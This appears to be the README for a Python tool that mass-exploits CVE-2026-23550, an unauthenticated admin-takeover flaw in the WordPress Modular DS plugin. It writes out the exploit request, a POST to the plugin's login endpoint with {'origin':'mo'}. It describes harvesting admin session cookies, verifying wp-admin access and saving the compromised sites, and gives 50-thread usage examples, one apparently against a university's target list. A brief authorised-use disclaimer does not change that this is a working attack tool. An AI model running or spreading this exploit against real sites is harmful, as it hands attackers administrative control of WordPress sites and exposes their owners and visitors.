🔥 CVE-2026-23550 Modular DS Scanner

Multi-threaded Python scanner for CVE-2026-23550 (CVSS 10.0) WordPress Modular DS plugin ≤2.5.1 vulnerability affecting 40k+ sites. Detects unauthenticated admin takeover via getLogin() bypass with full wp-admin access verification. Features ✨

🔥 Full admin access detection (cookies + wp-admin verification)

⚡ Multi-threading (up to 50+ concurrent targets)

📊 Animated progress bar with rich

🎨 Colorized summary table

💾 Auto-save vulnerable targets to file

🚀 Production-ready timeouts & error handling

Installation 🚀

bash pip3 install requests rich chmod +x modular_ds.py

Usage 📋

bash

Mass scan (50 threads)

python3 modular_ds.py -l targets.txt -t 50 -o bounty_vulns.txt

Bug bounty recon

python3 modular_ds.py -l univ-oran1.txt -t 20

Default (20 threads, vulns.txt output)

python3 modular_ds.py -l targets.txt

targets.txt format:

text https://target1.com http://site2.com

Skip comments

https://sub.domain.tld

Arguments Flag Description Default -l, --list Required Targets file (1 URL/line) - -t, --threads Max concurrent threads 20 -o, --output Vulnerable targets output file vulns.txt Sample Output 🖥️

text 🔥 CVE-2026-23550 Modular DS Scanner 🔥 Targets: 247 | Threads: 50 | Output: bounty_vulns.txt

⠋ Scanning Modular DS... 127/247 (51%) ✅ VULNERABLE: https://target.com 🔥 FULL ADMIN ACCESS: target.com

┌─────────────┬─────────────────────────────────────┬────────────┐ │ Status │ Target │ Details │ ├─────────────┼─────────────────────────────────────┼────────────┤ │ 🔥 FULL │ https://target.com │ 3 cookies │ └─────────────┴─────────────────────────────────────┴────────────┘

💾 4 vulnerable targets → bounty_vulns.txt

Detection Logic 🔍

text

1. POST /wp-content/plugins/modular-ds/api/modular-connector/login {"origin":"mo"}
2. ✅ Check wordpress_logged_in_* admin cookie
3. ✅ Verify /wp-admin/ dashboard access
4. 💾 Save confirmed FULL ADMIN ACCESS targets

Legal & Ethical Use ⚖️

text ⚠️ STRICTLY FOR: ✅ Authorized pentesting ✅ Bug bounty programs
✅ Security research labs ✅ Owned infrastructure

❌ NEVER use on unauthorized targets

Requirements 📦

text requests>=2.31.0 rich>=13.0.0